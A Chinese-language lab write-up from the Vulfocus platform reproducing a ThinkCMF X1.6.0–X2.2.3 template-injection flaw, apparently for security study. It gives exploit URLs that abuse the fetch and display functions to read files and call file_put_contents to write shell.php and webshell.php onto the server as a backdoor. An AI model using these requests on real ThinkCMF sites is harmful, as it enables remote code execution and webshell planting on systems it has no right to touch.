【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3

目录

一、靶场环境

1.1、平台:

1.2、知识:

1.3、描述:

二、漏洞验证

2.1、分析:

2.4、解题:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:48833

123.58.224.8:50203

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第1张图片

 123.58.224.8:50203

 

1.2、知识:

1、public类型函数(审计)

寻找用户可以利用的public类型函数,尝试带入执行

2、templatefile

templatefile(path, vars)

读取给定路径处的文件,并使用提供的一组模板变量将其内容呈现为模板

3、content=

设置属性类似

4、file_put_contents('shell.php','')

写入函数,天天用的东西

1.3、描述:

1、fetch函数和display函数是public类型

构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的

2、fetch函数:获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入(fetch方法是返回模板文件渲染后的内容)

3、display函数:加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容(display方法直接输出模板文件渲染后的内容)

4、版本ThinkCMF X1.6.0、X2.1.0、X2.2.0、X2.2.1、X2.2.2、X2.2.3



二、漏洞验证

2.1、分析:

1、验证漏洞

http://ip:port/?a=display&templateFile=README.md

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第2张图片

 


2、写入phpinfo()语句

http://ip:port/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('shell.php','')

未报错,则表示解析成功了

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第3张图片

 访问

http://ip:port/shell.php

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第4张图片


3、写入后门代码:

http://ip:port/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('webshell.php','')

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第5张图片

把引号去了就可以了(未报错就解析成功了)

http://ip:port/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('webshell.php','')

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第6张图片

 后门地址为

http://ip:port/webshell.php

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第7张图片

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第8张图片 

 

2.4、解题:

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第9张图片

 

【漏洞复现-thinkcmf-文件包含】vulfocus/thinkcmf-X1.6.0-X2.2.3_第10张图片

 

你可能感兴趣的:(0X05【漏洞复现】,web安全)